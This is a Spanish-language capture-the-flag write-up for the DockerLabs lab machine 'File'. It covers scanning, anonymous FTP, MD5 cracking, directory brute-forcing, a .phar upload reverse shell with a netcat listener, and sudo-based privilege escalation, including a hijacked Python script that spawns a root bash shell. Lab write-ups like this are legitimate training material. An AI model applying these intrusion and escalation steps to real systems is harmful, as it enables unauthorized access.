> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/file.md).

# File

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/4V5ioaMv7PVyzER8h4Gz" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/Vmh2Z9TTebtFaJdk1RuP" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.&#x20;

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/xfD2mYaz0Wqv0gn91xo7" alt=""><figcaption></figcaption></figure>

Como vemos que tenemos un archivo y que tenemos acceso de manera anónima con FTP lo aprovechamos por si contiene algo relevante.

<figure><img src="/files/h5jZhNfW7f1XN9L1JQg9" alt=""><figcaption></figcaption></figure>

Vemos el contenido y parece ser una cadena correspondiente a un hash por lo que la decodificamos.

```bash
echo "53dd9c6005f3cdfc5a69c5c07388016d" > hash
john --format=raw-md5 hash
```

<figure><img src="/files/QBCYxbPzL8EeFCyNdP8Z" alt=""><figcaption></figcaption></figure>

Si ingresamos la IP nos sale la página por defecto de Apache.

<figure><img src="/files/Ifz1jRLAvIM54vYBWMrC" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

<figure><img src="/files/Lw402EUk2gi0sJaoSq71" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Hay un archivo y un directorio que nos da pistas que se puede hacer una Reverse Shell. Hay que usar un archivo con extensión `.phar`.

<figure><img src="/files/jkR8CQSGDgYgYbFnQsmI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/x3PjbAdDSOI7K0CsmIH0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MgvOdQ9zHa7bNEwjYamd" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha.

```bash
nc -nlvp 443
```

<figure><img src="/files/xVJS1pnIWPy2zabTOaPp" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

Obtenemos la contraseña de fernando con esta herramienta de nuestro Mario. Nos logueamos.

{% @github-files/github-code-block url="<https://github.com/Maalfer/Sudo_BruteForce>" %}

<figure><img src="/files/wvkt0SyEManvCCrgf0oZ" alt=""><figcaption></figcaption></figure>

Realizamos estaganografía.

<figure><img src="/files/r8AuGB1UVErdpCU9HGSb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8WCrliCfqImffi3Q21Ui" alt=""><figcaption></figcaption></figure>

Al ser un hash lo crackeamos con esta página [CrackStation](https://crackstation.net/).

<figure><img src="/files/3fzzs8bkCgMsRUiGZVIq" alt=""><figcaption></figcaption></figure>

Es la contraseña de mario por lo que nos logueamos. Tiene permisos SUDO con julen [awk](https://gtfobins.github.io/gtfobins/awk/#sudo).

<figure><img src="/files/CbJUh4b6rqgIY0Lo3IU2" alt=""><figcaption></figcaption></figure>

Ahora tenemos permisos SUDO con [env ](https://gtfobins.github.io/gtfobins/env/#sudo)con el usario iker.

<figure><img src="/files/9ghBSlqylK4OmYCH5IiB" alt=""><figcaption></figcaption></figure>

Ahora tenemos permisos SUDO para ejecutar con python un archivo.

<figure><img src="/files/BYMHQv2cxubiRzJ0KR2H" alt=""><figcaption></figcaption></figure>

Lo borramos y creamos con el mismo nombre pero con distinto contenido.

```bash
import os
os.system("/bin/bash")
```

Lo ejecutamos.

```bash
sudo /usr/bin/python3 /home/iker/geo_ip.py
```

<figure><img src="/files/Y4TH8jmwYS7OmwqLnKI1" alt=""><figcaption></figcaption></figure>
